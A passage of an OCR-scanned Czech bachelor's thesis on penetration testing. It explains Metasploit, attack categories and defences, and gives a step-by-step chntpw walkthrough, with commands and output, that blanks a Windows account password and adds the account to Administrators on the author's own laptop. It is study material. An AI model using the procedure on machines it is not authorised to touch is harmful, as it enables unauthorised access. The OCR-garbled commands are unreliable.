projektu zacal ucastnit Matt Miller. Od této chvile byl Metasploit framework ocefiovan
komunitou, ktera se zabyva bezpecnosti informacnich technologii. Od této chvile se staval

nezbytnym nastrojem potiebnym k penetracnimu testovani. [14]
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V roce 2007 vySla verze Metasploit 3.0, ktera byla prepsana do jazyka Ruby. Celkovy
prechod zjazyka Perl do jazyka Ruby trval okolo osmnacti mésici. Od té chvile byl tento
prostfedek podporovan jak ze strany komunity, tak 1 ze strany pocitacové bezpecnosti a zaroven

i od jinych uzivateld. [14]

Vroce 2009 byl Metasploit nedilnou soucésti Rapid7. SpoleCnost, které se zabyva
bezpecnosti informacnich technologii, umoznila H. D. Mooreovi utvofit skupinu odbornikd,
ktefi by se zamétovali jen na vyvoj Metasploit frameworku. Po tomto spojeni byly vytvoteny
placené produkty, jako jsou Metasploit Express a Metasploit Pro. Prvni piedstavuje jednodussi
verzi Metasploit frameworku s GUI provedenim, zahrnujici reporting. Metasploit druhy

predstavuje rozsifenou verzi Expressu Metasploit. [14]
Exploit

Jedna se o skript, ktery vyuziva zranitelnost za ucelem ziskani prospéchu. Ve vétsiné piipadu
se jednd o prevzeti kontroly jiného zafizeni anebo napfiklad zahajeni nezadouci instalace
softwaru. Jednim ze zpusobu, jak ochranit svij osobni pocitaC, je pravidelna aktualizace

pocitatového systému. [19]

Ve vétsin€ piipadi slouzi k ziskani prav pro administratora, jako je (uzivatel root,
administrator). V ojedin€lych piipadech se nejdfive zaSkodnik snazi ziskat niz§i prava
a s vyuzitim dal$ich exploita se propracuje az k administratorskym pravam. [19]

Payload

Kod urceny ke spusténi jiného zranitelného systému. S vyuzitim frameworku je mozné kod
vybrat a odeslat na zranitelny stroj. Napfiklad Payload reverse Shell umoziuje vytvofit spojeni
se zranitelnym strojem. Utoénik toto spojeni vidi formou piikazového fadku na Windows nebo

formou terminélu na Linuxu. [29]

Dalsim typem Payload je naptiklad Meterpreter, kde host ocekava zpétnou vazbu v podobé

komunikace od vybraného systému. [14]
Shellcode

Jedna se o mnozinu piikaza, které jsou pouzivany v Payload. Ve vétsiné piipadua je shell

zahajen az po uspésném Payload. Jako jeden z piikladi je také Meterpreter.
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Moduly

Predstavuji Casti, jez delaji Metasploit vykonnym. Modulem se mysli ¢ast kodu, ktera je
pouzivana timto frameworkem. Napfiklad jim muze byt Exploit modul nebo pomocny modul,

jenz slouzi pro zajisténi skenovani. [14]
Posluchac¢

Soucasti Metasploit, jenz ¢eka na zahajeni komunikace, ktera ptichazi ze zranitelného hosta

po uspesném provedeni. [14]

3.5.1 SOUCASTI METASPLOIT

Tento néstroj poskytuje vét§i mnozstvi rozhrani nez jen konzole, ptikazovy fadek a grafické

rozhrani.
MSF konzole

Jedna se o interaktivni konzoli, ktera je ptatelstejsi k uzivateli nez MSFcli. Aby bylo mozné

konzoli spustit, je potieba zadat do ptikazového fadku dany piikaz msfconsole.

Po spusténi se vyobrazi text, ktery nabizi veSkeré informace o verzi, poltu exploitl
a Payload, které je mozné vyuzivat. Touto Casti se budeme zabyvat v praktické ¢asti, kde si

popiSeme 1 dalsi moznosti.
MSFcli

Pouziva se na skriptovani a kooperaci s ostatnimi nastroji. Prostfedek se pfimo spousti
z ptikazového radku a diky tomu byla snadngjsi interakce s ostatnimi prostiedky, jelikoz jsou
schopny prevést vystup do prikazu MSFcli a poté i opacn€. Vyhodou bylo, ze umozioval pfimé
spusténi exploitt a Payload. [21]

Bylo ho vhodné pouzivat zejména v situacich, kdy jsme presné veédéli, jaky exploit a které

jeho nastaveni bychom me¢li pouzit. Umozioval i zobrazit moznosti pomoci parametru O.

Nastroj se prestal vyuzivat od roku 2015. [21]
Armitage

Jedna se o kompletné interaktivni a grafickou soucast Metasploitu. Tvircem je Raphael
Mudge. Armitage je volné€ dostupny nastroj, ktery nabizi vizualizaci cil Gtoku. Dal§i moznosti,
kterou nabizi, je snadn¢j$i prace v tymu, kdy pfes jednu instanci umoziiuje, aby skupina vidéla

stejné spojeni, zachyceni dat, sdileni hostingt a spojeni pies sdileny log udalosti. [2]
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3. 6 OSTATNI NASTROJE

V ramci bakalarské prace budou zminény 1 dal§i nastroje jako naptiklad CHNTPW,
SQLMap a Aircrack-ng, protoZe jsou zakladnim pilifem, patfi mezi ¢asto pouzivané a zakladni,

které by mél tester znat. V ramci penetracniho testovani existuje cela fada dalSich nastroju.
CHNTPW

Jedna se o softwarovy nastroj uréeny pro resetovani nebo vymazani mistnich hesel, ktery je

pouzivany systémy Windows NT, 2000, XP, Vista, 7,8 8.1 a 10. [12]

Nastroj upravuje databazi SAM, kde Windows uklada hesla. Program je mozné pouzit
dvéma zplsoby. Prvni z nich — pomoci samostatného nastroje chntpw nainstalovan¢ho jako
balicku dostupného ve vétsiné modernich linuxovych distribucich. Druhy zplisob — pomoci
zavadeciho obrazu CD / USB. U pfilezitosti desatého vyro€i softwaru autor zménil licenci na

verzi GNU General Public License (GPL) verze 2. [12]

SQLMap

Nastroj slouzici pro automatické zji§tovani a vyuzivani nedostatkt SQL Injection. SQLMap
prebira kontrolu nad databdzovymi servery. Software se dodava s vykonnymi moduly.
Podporované jsou veskeré popularni databazové servery Oracle, MySQL, PostgreSQL,
Microsoft SQL server a mnoho dalSich. [24] [15]
AIRCRACK-NG

Predstavuje kompletni sadu nastroju, které slouzi pro posouzeni zabezpeceni Wi-Fi.

Zaméruje se na mnoho oblasti FeSeni [1]:

e Monitorovani paket a exportovani dat do textového soubort pro dalsi zpracovani.

e Utodeni pomoci metod piehrani utoku, odmitnuti sluzby, fale$ny piistupovy bod

a dals8i prostfednictvim injekce pakett.
e Testovani Wi-Fi karet a ovladacu.
e Prolomeni WEP a WPA-PSK.

Vsechny piikazy jsou dostupné z ptikazového rfadku a jedna se primarné o linuxovou sadu

nastroju.
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4 MOZNOSTI REALIZACE UTOKU

Kazdé pocitaCové zafizeni je zranitelné a muze byt vystaveno velkému poctu hrozeb, které
jsou spjaté s nékolika typy utokt. Déli se na fyzické, vzdalené a kombinované. Mezi fyzické je
mozn¢ zafadit Linux Live CD, Rainbow tables. Kategorie vzdalenych utokti zahrnuje socialni
inzenyrstvi, malware, spam, hoax, phishing, pharming, hacking a Dos/DDos. Posledni skupinou

jsou kombinované, kde fadime keylogging. [20]

K jednotlivym utokim na pocitaCové zafizeni potiebuje utonik program, vir, ktery mu
umozni dostat se do pocitace. Cilem je ziskat data, citlivé informace a vyuzit vhodny okamzik

k provedeni utoku, na ktery je potteba vétsi vypocetni vykon.

Cilem penetra¢niho testovani je zhodnotit a proveéfit uroven zabezpeceni pocitacu, systému
a aplikaci prostfednictvim penetraCnich testi a navrhnout, jak jednotlivé bezpeCnostni

nedostatky odstranit nebo potlacit.

4.1 FYZICKE

Prvni kategorii, kterou se budeme zabyvat, jsou Utoky fyzické. Existuje velké mnozstvi
programd, které je mozné vyuzivat pouze v piipadé, kdyz je osoba u pocitace fyzicky. Fyzicky
kontakt je nutnosti, protoze se jedna o programy, které jsou umisténé na USB Flash disk nebo

tfeba CD.

Proces utoku zac¢ina tim, ze se uloziste vlozi do pocitacového zatizeni a tim padem je mozné
zahgjit proces zjiStovani hesel nebo 1 jejich mazani. Jednou z hlavnich nevyhod je, Ze uto¢nik
musi byt u pocitaCe, ale hlavné musi jednat rychle. Metod pro odcizeni hesla existuje celéa fada,

muze se jednat naptiklad o Linux Live CD nebo Rainbow tables.

4.1.1 LINUXLIVECD

Live CD je takzvané zivé médium jako naptfiklad CD, DVD nebo USB. Jedna se
o samostatny disk. Operacni systém na zivém médiu funguje zcela oddélen¢ od operacniho
systému pocitace, proto je mozné ho pouzivat k mazani hesel nebo na obnovu souboru. Existuje

cela fada programu, které pracuji na tomto principu. [28]
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4.1.2 RAINBOW TABLES

Programu, které vyuzivaji danou metodu, existuje n¢kolik. V prekladu to znamena ,,duhové
tabulky®. Jedna se o urcité tabulky, které obsahuji velké sady predstavenych hodnot hash pro
jednotlivé hesla. VSechna hesla jsou transformovana do jedinecné Ciselné formy neboli hashe.
Tato metoda porovnava jednotlivé hashe a pii nalezeni shody dokaze rozkliCovat ptvodni heslo.

Cim vice pismen, &islic a znakd heslo obsahuje, tim jeho desifrovani trva déle. [23] [9]

Programy, které vyuzivaji tuto metodu, jsou naptiklad: Ophrack a Cain & Abel. Jsou to
nejznamejsi a nejpouzivangjsi programy v operacnim systému Windows. Jeho nevyhodou je,
ze je] neni mozné pouzit ve Windows 10. Druhy program je vhodny pro starsi operacni systémy,

proto uz dnes neni tolik pouzivany.

4.2 VZDALENE

Jedna se o typ utokd provadénych na dalku. Vzdalené utoky slouzi k tomu, Ze mohou
poskodit nebo zménit jednotlivd data v daném pocitaCovém zatizeni. Dale mohou slouzit ke
zjisteéni piihlasovacich udaju napfiklad do bankovnictvi, e-mailové schranky nebo socialnich
siti. Typy uatoku ovliviiyjici data obsazena v pocitaCi jsou napiiklad socialni inZenyrstvi,
malware a hacking.

Socidlni inZzenyrstvi

Hlavnim pfedstavitelem je Kevin Mitnick. Jedna se o zpusob, jak manipulovat s lidmi
s cilem provést ur€itou akci nebo ziskat dané informace. Lidé jsou totiz nejslabsi Clanek
bezpetnosti. Utoénik se mize napiiklad vydavat za zaméstnance firmy, aby ziskal uréita data
o spoleCnosti. Maze vzbudit v obé€ti pocit, ze maji spoleCné zajmy a koni¢ky, aby mu obét

poskytla data. [22]

Metodv utoku — sociotechnika [20]:

e Primy pristup — situace, kdy uto¢nik pifimo poprosi obet’ o jeji prihlaSovaci udaje.

e Dulezity uzivatel — Gtoc¢nik pusobi jako autoritativni a nadfizena osoba, jez pozada
o informace podfizen¢ho. Jednd se naptiklad o hesla a citlivé informace. Pokud ma

podiizeny dojem, ze jedna s nadfizenym, udaje mu poskytne.

¢ Bezmocny uzivatel — Uto¢nik si vybere nového a nezkuSeného zaméstnance
a predstira, ze ma neplatné udaje, ale potrebuje ukol ihned udélat a poprosi obét

o jeho ptihlasovaci udaje.
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e Pracovnik technické podpory — zaskodnik hraje roli zaméstnance v oddéleni
informatiky a tim se snazi ziskat Udaje od béznych uzivateli. Muze se jednat
o e-mail, ktery se jevi jako od administratora a pozaduje potvrzeni hesla kliknutim
na odkaz. Neproskoleni zamé&stnanci nemaji tuseni, ze hlavi¢ka v e-mailu odesilatele

nemusi byt pravdiva.
Malware

Je to druh skodlivého pocitacového programu. Umoziiuje poskodit pocitaCové systémy. Do
této skupiny patii kody jako naptiklad ransomware, pocitacové viry a trojské koné. Jeho cilem
je ziskat a poskodit data a vyvolat co nejvétsi Skodu v napadeném pocitaci. Ransomware slouzi
k Sifrovani dat pocitaCe a slibi jeho deSifrovani za urcitou penézni Castku. Spyware je ur¢en
k ziskavani a také odesilani dat z napadeného pocitace, ve kterém je nainstalovan. Adware

znepiijemni praci uzivatele na pocitaci nepfetrzitym vyskakovanim reklam na internetu. [16]
Spam

Spamming znepiijemiuje praci uzivatele nevyzaddanym rozesilanim elektronické posty.
Uzivatel poté musi rozliSovat, které e-maily jsou dulezité a které nevyzadané. Muze to vést
k zahlceni elektronické posty. Uzivatel tak mize kvili spamu piehlédnout dilezitou
e-mailovou zpravu. Nejvice se vyskytuje v e-mailovych schrankach, ale maze napadnout
internetové forum nebo blogy. V fadé piipadu obsahuje i malware, jehoz cilem je od uzivatele

ziskat data, ktera jsou nasledné odesilana uto¢nikovi. [16]
Hoax

Je takzvana falesna zprava, jejimz cilem je zastraSit, pobavit nebo poskodit osoby
rozesilanim falesnych informaci. Velmi Casto se oznacuje jako fetézovy e-mail, protoze ve

zpravé klade diraz na preposilani dal§im osobam. [16]
Phishing

Jeho hlavnim tkolem je oklamat uzivatele za GCelem ziskani dat a také ptihlaSovacich udaju
do e-mailu, socialnich siti, internetového bankovnictvi. Vyuziva imitaci oficidlni internetové
stranky. Kdyz uzivateli pfijde do e-mailu nebo jiné sociélni stranky odkaz na faleSny web, aby
zadal své prihlasovaci udaje. Obét se ale neptihlasi na skutecné stranky, ale na podvrzené
uto¢nikem. Poznat, ze se jedna o podvrh internetové stranky, je mozné pouze z webové adresy,

ktera se lisi od oficialnich webovych stranek. [16]
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Pharming

Jedné se o formu phishingu, ktera je ale nebezpecné&jsi a sofistikovana. Jedna se o utoky
zaméfené na DNS serverd, kde prepisSe jejich IP adresu. Vysledkem je podvrZena stranka
nerozeznatelna od skute¢né webové stranky, ve které je IP adresa zaménéna za GtoCnikovu.
Princip spociva v tom, ze uzivatel zada skute¢nou internetovou stranku, ale bude nactena
podvrzZend stranka zaskodnika. Tim padem na strance neni mozné poznat, ze je fale$na. [16]

[22]

V ramci operac¢niho systému Windows muze zaskodnik vyuzit i jinou formu Utoku. OS
Windows obsahuje soubor ,,Hosts®, jenz v sobé zahrnuje IP adresy riznych navstivenych
webovych stranek. Utoénik prepide IP adresu v souboru Hosts. Tato forma je pro ttodnika

mnohem snadngjsi, jelikoz zabezpeCeni DNS servert je dobré.
Hacking

Zaskodnik vyuziva slabiny operatniho systému, které prekonava. Hacking je mozné
provadst i bez pouziti skodlivych programi. Utoénik chce poskodit systém nebo se zabavit. [8]

Denial of Service

Je oznalen také pod zkratkou DoS. Hlavnim ukolem je vytadit sluzbu z provozu. Princip
spociva v tom, ze sluzbu zahlti zasilanim pozadavkil, nebo mize vyuzit chybu k restartovani
nebo vypnuti sluzby. Jednou z forem atokt DoS je Distributed Denial of Service neboli DDoS.

DDoS k utoku pouziva sit’ robott, jejichz tkolem je zasilat piikazy s cilem prehltit danou

sluzbu. [5] [7]

4. 3 KOMBINOVANE

Jedna se o zpusob, ktery je kombinaci predchozich dvou. Jde o spojeni pouziti programu na
dalku, ale zaroven vyzaduje fyzicky pfistup k pocitatovému zatfizeni. Touto technikou je mozné
pouzit kterykoli keylogger.

Vyhodou je, Ze uto¢nik si musi vytipovat obét. Aby zaSkodnik mohl z pocitace ukrast data,

potiebuje se k nému piimo dostat, coz je nevyhoda. Prikladem je Keylogging.
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Keylogging

Je druh programu, ktery umoziiuje zachytit stisknutelné znaky na klavesnici. Umoziuje
zaznamenavat snimky ze sledovaného pocitaCového zafizeni. Umi rozeznat, jestli byl
k pocitaCovému zatizeni piipojen USB flash disk nebo jestli do n& bylo vlozeno CD nebo
DVD. V ptipadg, ze je pocita¢ vybaven mikrofonem nebo webkamerou, je schopen tyto véci

vyuzit k pofizeni zdznamu. Keyloggery existuji jak softwarové, tak i hardwarové. [3]

Prvnim krokem je instalace do politacového zatfizeni zaslanim e-mailové zpravy. E-mail
obsahuje piilohu se skrytym programem, jehoz stazenim se nainstaluje i program. Velké

mnozstvi keyloggert je urCeno k instalaci na pocitac. [3]

Hardwarové keyloggery jsou finanéné€ narocné v porovnani se softwarovymi. Existuje vice
typu jako meziClanek mezi klavesnici a pocitatem, a to pifimo zabudované v USB rozhrani.

Tento druh keyloggeru uto¢nici vyuzivaji ziidka z finan¢nich divodu a vizualizace. [3]

V pfipadé, ze ma antivirus k dispozici urcité nastroje, je schopen objevit softwarovy
keylogger. Hardwarové keyloggery neni schopen odhalit, ale mize ho odhalit uzivatel.
Hlavnimi znaky, diky kterym ho obét rozpozna, je pomalé nalitani internetovych stranek,
zpomalené zobrazovani znakd a pismen pii psani do editoru. Uzivatel ho muize odstranit

2 zpusoby, a to ru¢né, coz je velmi neefektivni a pomalé, nebo pomoci antiviru. [3]

4. 4 DILCI SHRNUTI

Nebezpei a hrozby existuji od zacatku, kdy se pfipojime k internetu. Kazdou minutu

muzeme byt napadeni tisice hrozbami, proto je dalezité umét je identifikovat a eliminovat.

Existuji ruzné zpusoby, jak je mozné zafizeni napadnout. Z pohledu utocnika je
nejnarocnéj§im zpusobem fyzicky pfistup, protoZze musi jednat velmi rychle a nesmi byt
pfistizen pii €inu, coz je piesny opak utoku pies sit, kdy uto¢nik neni limitovany Casem.
V ptipadé, ze zaskodnik bude odhalen, nejedna se z jeho pohledu o velkou komplikaci, protoze

se dokaze skryt po cel€ siti internetu a muze provadét Cinnost z jiné Casti svéta.

Cilem penetra¢niho testovani je zhodnotit a proveéfit uroven zabezpeCeni pocitacu, systému
a aplikaci prostfednictvim penetraCnich testd a navrhnout, jak jednotlivé bezpecnostni

nedostatky odstranit nebo potlacit.
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5 PRAKTICKA CAST

V praktické ¢asti budou predstaveny dva typy atoku. Prvni utok se bude zabyvat fyzickym
penetraCnim testovanim a dalsi test bude provadén pres sit. Tyto typy jsou zvolené z toho
divodu, Ze se s nimi mizeme setkat dnes a denné. Fyzicky test muze byt proveden kdekoliv,
kdyZ nechame své zafizeni chvili bez dozoru. Utoky pies sit’ je mozné provadst z jakéhokoliv

mista na kohokoli, kdo je pfipojen k internetu.

5.1 FYZICKE PENETRACNI TESTOVANI

V ramci této Casti vyuziji svij vlastni notebook, kde je instalovan operacni systém Windows
10 Pro. V ramci prace se vychazelo z predpokladu, ze pocita¢ byl ur¢itou dobu bez dozoru. Tim
ziskava utocnik prostor k tomu, aby odcizil data. Pro pfipravu byla vytvorena ziva distribuce
Parrot OS na USB klicenku. Instalacni médium lze jednoduse vytvofit pomoci nastroje Rufus

a také ISO souboru zivé distribuce Parrot OS (Obrazek 9: Vytvoteni bootovaciho USB disku).

& Rufus 3,14.1788 (Portable) = x

Vlastnosti disku
Zafizeni
Run Debian GMU/Linux (E:) [32 GB] ~

hér hoot

Parrot-security-4.11.1_amdod.iso v 'i' WYBRAT |
Welikost trvalého oddilu

1 0 (Me trvaly)

Oddil a typ cilowého systému Cilowy systém

GPT v UEFI {ne CSh) w

~ Zobrazit pokrocilé wiastnost disku

Mo7nosti formatovani

Mazew swazku
I Parrot security 4.11.1

Soubarowy systém Welikost clusteruy
FAT3Z (wychozi) L 16 kilobajtd fychozi) w

v Zobrazit pokrogilé moZnosti formatovani

Stav

PRIPRAVEN

@ O = START ZOVRIT

Bylo nalezeno 1 zafizeni

Obrazek 9: Vytvoieni bootovaciho USB disku
Zdroj: Viastni zpracovdni
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Po uspesném vytvoreni se vlozi USB kli¢enka do pocitace pted jeho spusténim. Pfi spusténi
musime zvolit jiné poradi zavedeni systému. Tim docilime, ze se zavede misto standardniho
operacniho systému nami zvoleny operacni systém Parrot OS. Dale je potieba piipojit disk

s puvodnim opera¢nim systémem pomoci spravce soubord.

5.1.1 FYZICKE ODSTRANENI HESLA WINDOWS

V ramci bakalatské prace bude predstavena metoda, ktera smaze heslo k uzivatelskému uctu
a také umozni pfidat, nebo odebrat uzivatele do skupin. To umozni uto¢nikovi byt v roli
administratora. Postupuje se tak, ze se otevie terminal pomoci nabidky aplikaci. Prvni ptikaz,
ktery je potifeba zadat, je cd a ten slouzi ke zméné umisténi na disku. Timto pfikazem se
dostaneme k slozce, v niz jsou umisténi uzivatelé systému Windows (Obrazek 10: Cesta do

slozky s uzivatelskymi udaji).

[user 1-1~]
I_—- cd /media/user/94D06461D0644C14/Windows/System32/config/
I—_[Lise I ]-[/media/user/94D06461D0644C14/Windows/System32/config]

Obrazek 10: Cesta do slozky s uzivatelskymi udaji
Zdroj: Viastni zpracovani

Nasleduje vypsani veskerych uzivatelskych ucti pomoci nastroje CHNTPW. Do terminalu
zadame CHNTPW a parametry. Prvni z nich bude parametr 1 a druhy SAM (Security account
manager), diky tomu se ndm vypiSou veskeré uzivatelské ucty. Polozky v seznamu pod nazvy
Michal, Terezka byly vytvoteny pouze pro ucel bakalaiské prace. Ostatni pojmenovani v listu
jsou vychozi uty Microsoft Windows, které jsou v naSem piipad€ uzamceny a nejsou v tomto

ptipad¢€ ani pouzivany v operanim systému Windows.

luser -[/media/user/94D08646108644C14/Windows /System32/config]
I——- chntpw -1 SAM

chntpw version 1.88 148281, (c) Petter N Hagen

Hive «<SAM= name (from header): <\SystemRoot\System32\Config\SAM=
ROOT KEY at offset: 8x0681828 = Subkey indexing type is: 6B6c =lh=
File size 131872 [2068€08] bytes, containing 12 pages (+ 1 headerpage)
Used for data: 295/62696 blocks/bytes, unused: 27/31128 blocks/bytes.

| RID -|---------- USErmame ----c-ocmawa | Admin? |- Lock? --|
] 01f4 | Administrator | ADMIN | dis/lock |
| 81f7 | DefaulthAccount | | dis/lock |
| 91f5 | Guest | | dis/leck |
| 83ea | Michal | | |
| 83e9 | Terezka | ADMIN | |
| 81fa | wWDhAGUtilityAccount | | dis/lock |
L[L:g,eﬁ I-I/media/user,/94D86461060644C14 / Windows /System32./ cor

Obrazek 11: Seznam uzivatelskych acti systému Windows
Zdroj: Viastni zpracovdni
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Dalsim krokem je zadat uzivatele, u kterého chceme provadet zmeénu. V tomto piipadé se

jedna o vlastnika, ktery je pojmenovan Michal.

Z (Obrazek 11: Seznam uzivatelskych acéta systému Windows) lze vycCist, ze nema opravnéni
administratora. Roli administratora uctu pfidame a tim docilime plné kontroly nad pocitacem

1 v tom pfipade, ze by vlastnik nemel plné opravnéni v roli administratora.

Aby bylo mozné dostat se do nabidky (Obrazek 13: Hlavni nabidka programu chntpw) je potfeba

korektn¢ zapsat ptikaz. Prvni parametr v pofadi symbolizuje uzivatele a jeho ID.

Pred identifikator uzivatele musi byt vlozeno Ox, aby byl uveden spravny format zapisu
v Sestnactkové soustave (Obrazek 12: Korektni zapis pro Gpravu uZivatele a zobrazeni menu).

|-[/media/user,/94D8646108644C14 Windows /System32/config]

[user 1-1.
[:—- chntpw -u Bx@3ea SAM |

Obrazek 12: Korektni zapis pro apravu uzivatele a zobrazeni menu
Zdroj: Viastni zpracovdni

Prvnim krokem bylo odstranéni hesla uzivatele. V menu se musela zadat volba jedna, ktera

provede smazani hesla.

fullname:

comment :

homedir

00000221 = Users (which has 3 members)

Account bits: 0x0214 =

[ ] Disabled | [ ] Homedir req. | [X] Passwd not req. |
[ ] Temp. duplicate | [X] Normal account | [ ] NMS account |
[ ] Domain trust ac | [ ] Wks trust act. | [ ] Srv trust act |
[X] Pwd don't expir | [ ] Auto lockout | [ 1 (unknown ©x08) |
[ 1 (unknown ©x10) | [ ] (unknown 0x20) | [ ] (unknown 0x40) |

Failed login count: 0, while max tries is: ©
Total login count: 2

- - - - User Edit Menu:

1 - Clear (blank) user password

(2 - Unlock and enable user account) [seems unlocked already]
3 - Promote user (make user an administrator)

4 - Add user to a group

5 - Remove user from a group

q - Quit editing user, back to user select
Select: [q] >[]

Obrazek 13: Hlavni nabidka programu chntpw
Zdroj: Viastni zpracovdni

Déle je mozné pridelit danému uzivateli skupinu, kterd existuje v systému. Zvolime volbu
Cislo Ctyfi. Zobrazi se ndm seznam skupin. V nasem piipad€ jsme uzivateli pfidali skupinu

administratora vedenou pod ¢islem 220 (viz Obrazek 14: Pfidani uZivatele do skupin).
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1 - Clear (blank) user password

(2 - Unlock and enable user account) [seems unlocked already]
3 - Promote user (make user an administrator)

4 - Add user to a group

5 - Remove user from a group

q - Quit editing user, back to user select
Select: [q] > 4

== ADD USER TO A GROUP
=== Group # 220 : Administrators
=== Group # 221 : Users
=== Group # 222 : Guests
=== Group # 22e : Performance Monitor Users
=== Group # 22f : Performance Log Users
=== Group # 232 : Distributed COM Users
=== Group # 238 : IIS IUSRS
=== Group # 23d : Event Log Readers
=== Group # 242 : Sprévci technologie Hyper-V
=== Group # 244 : Remote Management Users
=== Group # 245 : System Managed Accounts Group
=== Group # 247 : Vlastnbci zaY@zen®

Please enter group number (for example 220), or © to go back
Group number? :

Obrazek 14: Piidani uZivatele do skupin

Zdroj: Viastni zpracovdni

Dale nebylo potieba nic upravovat. Pro ukonceni nastroje slouzi ptikaz q, ktery zobrazi

potvrzovaci dialog pro skonceni a ulozZeni vystupu zmeén do systému (viz Obrazek 15: Ukonc&eni

programu chntpw).

[ 1 Disabled | [ ] Homedir req.
[ 1 Temp. duplicate | [X] Normal account

| [X] Passwd not req.
| [
[ ] Domain trust ac | [ ] Wks trust act. | [
|1
I [

1

] NMS account

] Srv trust act
[X] Pwd don't expir | [ ] Auto lockout 1
[ 1 (unknown ©x18) | [ ] (unknown 8x20) ]

(unknown 0x08)
(unknown 0x40)

Failed login count: ®, while max tries is: @

Total login count: 2

** No NT MD4 hash found. This user probably has a BLANK password!
** No LANMAN hash found either. Try login with no password!

- - - - User Edit Menu:

1 - Clear (blank) user password
(2 - Unlock and enable user account) [seems unlocked already]
3 - Promote user (make user an administrator)

4 - Add user to a group

5 - Remove user from a group

q - Quit editing user, back to user select

e

Select: [q] > q

Hives that have changed:

# Name

0 <SAM=>

Write hive files? (y/n) [n] : []
Obrazek 15: Ukon¢eni programu chntpw

Zdroj: Viastni zpracovdni
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Pro kontrolu byl vypsan list uzivateld, kde pod vlastnikem Michal se zobrazilo opravnéni
administratora a také hodnota tzv. blank, ktera oznauje, ze dany uzivatel nema heslo do

systému (viz Obrazek 16: Upraveny vypis uZivatelu se zménami hodnot).

|—_[Lise r 1=[/media/user/94D06461D0644C14/Windows /System32/config]
chntpw -1 SAM

chntpw version 1.00 140201, (c) Petter N Hagen

Hive <S5AM> name (from header): <\SystemRoot\System32\Config\SAM>

ROOT KEY at offset: 0x001020 * Subkey indexing type 1s: 686c <lh>

File size 131072 [20000] bytes, containing 12 pages (+ 1 headerpage)

Used for data: 296/62712 blocks/bytes, unused: 27/31112 blocks/bytes.

| RID -|-------- -- Username ------------ | Admin? |- Lock? --|
| ©@1f4 | Administrator | ADMIN | dis/lock |
| @1f7 | DefaultAccount | | dis/lock |
| @1f5 | Guest | | dis/lock |
| @3ea | Michal | ADMIN | *BLANK* |
| 83e9 | Terezka | ADMIN | |
| ©1f8 | WDAGUtilityAccount | |

dis/lock |
E[ user ]=[/media/user/94D0646100644C14/Windows/System32/config)

Obrazek 16: Upraveny vypis uZivateli se zménami hodnot
Zdroj: Viastni zpracovdni

5.1.2 ZAVEREM FYZICKEHO UTOKU

Zaveérem tohoto Utoku bylo, ze pocitac, ktery je chvili bez dozoru a je zabezpeCeny pouze

heslem do operac¢niho systému umozni utocnikovi heslo prolomit a do systému proniknout.

Prvnim mechanismem, ktery umozni zabréanit, nebo alesponi zpomalit zaskodnika
v provadéni utoku, je zamknuti potradi zavadéni diska. Timto docilime, Zze by se vzdy zavedl
pouze nas dany operani systém, nikoli cizi. Nasledn¢ je nutné zamknout UEFI/BIOS a povolit
Secure Boot, ktery nedokéze zavést jiny operacni systém. Ani nadéle neni toto feSeni odolné
natolik, aby ho uto¢nik nemohl obejit, nebot pii vlozeni disku do jiného pocitae by se

uto¢nikovi podatilo dostat do naseho systému, kde bychom mohli mit citlivé udaje.

Proto bych nadale doporucil pouzit vSechny pfedchozi varianty a také si zaSifrovat nas
systémovy disk i pomoci integrovaného nastroje v systému Windows 10 Pro a tim je nastroj
Bitlocker (viz Obrazek 17: Integrovany nastroj pro $ifrovani disku). Tento nastroj je k dispozici
pouze ve verzi Windows 10 Pro a vyS§Sich. Pro nizsi verze operacniho systému doporucuji

pouzit nastroj VeraCrypt.
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B Nastroj BitLocker Drive Encryption - O X

w

— v 4 G4 « Systém azabez.. » Nastroj BitLocker Drive Encryption v | Prohledat Oviadaci pane p

Hlavni oviadaci panel : g . .
. Nastroj BitLocker Drive Encryption

Pokud u swych jednotek pouZijete nastroj BitLocker, |épe ochranite své soubory a sloky pred
neautorizovanym pfistupem.,

Jednotka operacniho systému

C: Nastroj BitLocker vypnut

I !;’ Zapnout nastroj BitLocker

I

, Pevné datové jednotky
® Sprava dipu TPM
& Spréva diskd Vol : an : )

ymeénitelné datové jednotky - BitLocker To Go
Prohligeni o zdsadach ochrany

. Chcete-li pouiit nastroj BitLocker To Go, vioite vyménitelnou jednotku USB Flash.
escbnich udaju )

Obrazek 17: Integrovany nastroj pro Sifrovani disku
Zdroj: Viastni zpracovani

5.2 UTOK PRES SiT

Pii demonstraci penetracniho utoku provadéného pres sit, bude pouzit virtualni stroj
linuxové distribuce Kali Linux a také operacni systémy Windows 7 a Windows 10. U Windows
7 se ocekava, ze utok bude zdarn€ proveden, zatimco vramci systému Windows 10 je
predpoklad, ze je tento typ zranitelnosti oSetfen. Tento Utok slouzi pro ukazku v ramci

bakalarské prace a nemél by byt zneuzit pro nelegalni innost.

Po spusténi operacniho systému Kali Linux bylo zapotiebi aktualizovat veskeré néstroje
a instalovat jeden uziteCny program jménem Armitage, ktery seskupi ostatni nastroje a umozni
nékteré funkce graficky zobrazit. Pro aktualizaci repozitaiti a nastroju pouzijeme piikaz (viz

Obrazek 18: Aktualizace repozitaia a balicku).

kalit kali)-[~]
$ update &6 | upgrade -yjj

A

Obrazek 18: Aktualizace repozitaia a balicka
Zdroj: Viastni zpracovani
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Nastroj Armitage lze instalovat z repozitafe linuxové distribuce pomoci piikazu (viz

Obrazek 19: Instalace Armitage).

kali® kali)-[~
$ install armitagel}

Obrazek 19: Instalace Armitage
Zdroj: Viastni zpracovani

Pred spusténim Armitage je nezbytné provést kroky, bez kterych by nebylo mozné tento
program spustit. Musime zapnout Postgresql databazi a inicializovat Metaspoit databazi pomoci
téchto prikaza (viz Obrazek 20: Inicializace databazi).

kali® kali ~

$ start
Starting postgresql (via systemctl): postgresgl.service.

kali® kali ~
$ initl

Obrazek 20: Inicializace databazi
Zdroj: Viastni zpracovani
Po spusténi Armitage je zapotiebi najit nase sitova zatizeni, na kterd budeme utocit. Pomoci
nabidky vybereme Hosts, ktery s vyuzitim nastroje Nmap skenuje sit’ a tim 1 veskeré zatizeni
pfipojené v ramci jedné sit€. V menu je z vice moznosti skenovani vybrana metoda Quick scan
os detect z toho divodu, protoze zatim sta¢i znat verzi systému (viz Obrazek 21: Volba skenovani
pomoci nastroje Nmap). Nasledné se mizeme rozhodnout, zda na toto zafizeni provedeme utok,
¢i nikoli.
Armitage View JEEESN Attacks Workspaces Help

» [ auxiliary | Import Hosts

» (& exploit Add Hosts...
g ﬁ payload Nmap Scan Intense Scan
» (8 post MSF Scans...

Intense Scan + UDP
Intense Scan, all TCP ports
Intense Scan, no ping
Fing Scan

